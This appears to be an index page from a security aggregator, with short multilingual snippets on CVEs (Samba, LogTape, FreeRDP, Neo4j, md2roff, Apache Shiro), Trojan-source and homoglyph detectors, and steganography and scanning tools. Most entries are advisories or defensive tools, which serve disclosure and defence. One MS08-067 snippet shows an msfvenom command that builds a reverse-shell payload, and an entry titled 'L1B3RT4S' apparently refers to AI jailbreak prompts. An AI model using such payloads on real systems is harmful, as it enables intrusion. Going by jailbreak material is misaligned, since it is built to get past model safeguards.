CVE-2007-2447

CVE-2007-2447 Samba 3.0.0 – 3.0.25rc3 подвержены уязвимости удаленного выполнения команд CVE-2007-2447, которая позволяет удаленным злоумышленникам выполнять произвольные команды путем указания имени пользователя, содержащего метасимволы оболочки...

L1B3RT4S

L1B3RT45...

@logtape/syslog: syslog log injection via unescaped control characters and unvalidated SD-NAME keys

@logtape/syslog contains two related output-encoding bugs in the structured data formatting code. Both only affect deployments with includeStructuredData: true, which is non-default. 1. Unescaped C0 control characters in structured data values escapeStructuredDataValue in...

CVE-2026-54511

@logtape/syslog (part of LogTape, a Node.js logging library) contains two related output-encoding bugs in its structured-data formatting, affecting versions prior to 1.3.11 , 2.0.14 , and 2.1.5 when includeStructuredData is set to true (non-default). The escapeStructuredDataValue() function fails...

EUVD-2026-66563

LogTape is an unobtrusive logging library. Prior to 1.3.11, 2.0.14, and 2.1.5, the @logtape/syslog package's escapeStructuredDataValue function in packages/syslog/src/syslog.ts does not neutralize C0 control characters from U+0000 through U+001F in structured data values, and formatStructuredData...

MS08-067

MS08-067 | CVE-2008-4250 Riferimento: https://learn.microsoft.com/en-us/security-updates/SecurityBulletins/2008/ms08-067?redirectedfrom=MSDN Generazione dello shellcode Useremo msfvenom per generare lo shellcode. root@kitploit: msfvenom -p windows/shellreversetcp LHOST=10.10.14.14 LPORT=443...

FreeRDP: FreeRDP: HTTP Proxy Request Injection via Redirection

A flaw was found in FreeRDP. A malicious or compromised Remote Desktop Protocol RDP server can exploit this vulnerability to inject arbitrary headers or requests into an HTTP proxy CONNECT request. This occurs because FreeRDP does not properly validate control characters in the server-controlled...

CVE-2026-1337

CVE-2026-1337 - Neo4j - Iniezione nei log L'iniezione nei log da parte di un utente autenticato è possibile nel query.log di Neo4j quando Neo4j non è configurato per essere in formato json. Riepilogo Neo4j non effettua l'escape dei caratteri di controllo nel campo metadata di una transazione bolt...

unicode-control-characters-action

Unicode Control Characters Action Una GitHub Action per individuare i caratteri di controllo Unicode utilizzando lo strumento diagnostico Red Hat https://access.redhat.com/security/vulnerabilities/RHSB-2021-007 per rilevare gli attacchi Trojan source RHSB-2021-007 CVE-2021-42574,CVE-2021-42694...

CVE-2022-41220

Descrizione di CVE-2022-41220 md2roff 1.9 soffre di un buffer overflow basato sullo stack tramite un file Markdown contenente un gran numero di caratteri consecutivi da elaborare. Riproduzione Per riprodurre la vulnerabilità, scarica una versione vulnerabile di md2roff versione 1.9: root@kitploit...

stegcloak

StegCloak The Cloak of Invisibility for your texts StegCloak is a pure JavaScript steganography module designed in functional programming style, to hide secrets inside text by compressing and encrypting the secret before cloaking it with special unicode invisible characters. It can be used to...

stegcloak

StegCloak Il mantello dell'invisibilità per i tuoi testi StegCloak è un modulo puro di steganografia in JavaScript, progettato in stile di programmazione funzionale, per nascondere segreti all'interno del testo comprimendo e crittografando il segreto prima di camuffarlo con speciali caratteri...

shiro-cve-2020-17523

Apache Shiro: analisi del bypass dell'autenticazione con due tecniche CVE-2020-17523 0x01 Descrizione della vulnerabilità Apache Shiro è un framework di sicurezza Java potente e facile da usare, che si occupa di autenticazione, autorizzazione, password e gestione delle sessioni. Con l'API di faci...

huntglyph

huntglyph – Homograph-Angriffe erkennen Homograph-Angriffe nutzen die visuelle Ähnlichkeit von Zeichen verschiedener Schriftsysteme z. B. lateinisches 'a' vs. kyrillisches 'а', um Domainnamen, Dateinamen oder andere Kennungen zu fälschen und Benutzer in die Irre zu führen, indem sie vorgeben, mit...

SafeText

SafeText Strumento per sanificare il testo per consentire la distribuzione sicura di documenti da fonti anonime rimuovendo caratteri a larghezza zero e omoglifi. Gli individui che tentano di divulgare un'email o altro file di testo corrono il rischio di essere identificati tramite fingerprinting...

bidi_char_detector

BIDI Character Detector Dieses Tool überprüft Ihre Dateien auf das Vorhandensein von Unicode-BIDI-Zeichen, die für Supply-Chain-Angriffe missbraucht werden können, um CVE-2021-42574 zu entschärfen. Dieses Tool wurde in Rust geschrieben und wird als kleiner 3 MB Docker-kompatibler Container...

CVE-2021-42574

Trojan Source: Vulnerabilità invisibili - Generatore di codice — In poche parole, la vulnerabilità consiste nel fatto che il codice appare diverso da come viene effettivamente compilato : L'attacco consiste nell'utilizzare caratteri di controllo incorporati in commenti e stringhe per riordinare i...

CVE-2022-34913

وصف CVE-2022-34913 يعاني md2roff 1.7 من تجاوز سعة المخزن المؤقت القائم على المكدس عبر ملف Markdown يحتوي على عدد كبير من الأحرف المتتالية التي تتم معالجتها. إعادة الإنتاج لإعادة إنتاج الثغرة، يجب علينا تنزيل نسخة معرضة للثغرة من md2roff الإصدار 1.7: root@kitploit: git clone...

bst

Binary String Toolkit Summary The Binary String Toolkit or BST for short is a rather simple utility to convert binary strings to various formats suitable for inclusions in source codes, such as those used to develop exploits and Proof of Concepts in the security field. Features Convert and dump...

sharesniffer

sharesniffer sharesniffer is a network analysis tool for finding open and closed file shares on your local network. It includes auto-network discovery and auto-mounting of any open cifs and nfs shares. How to use Example to find all hosts on any local network with open/closed nfs/smb shares:...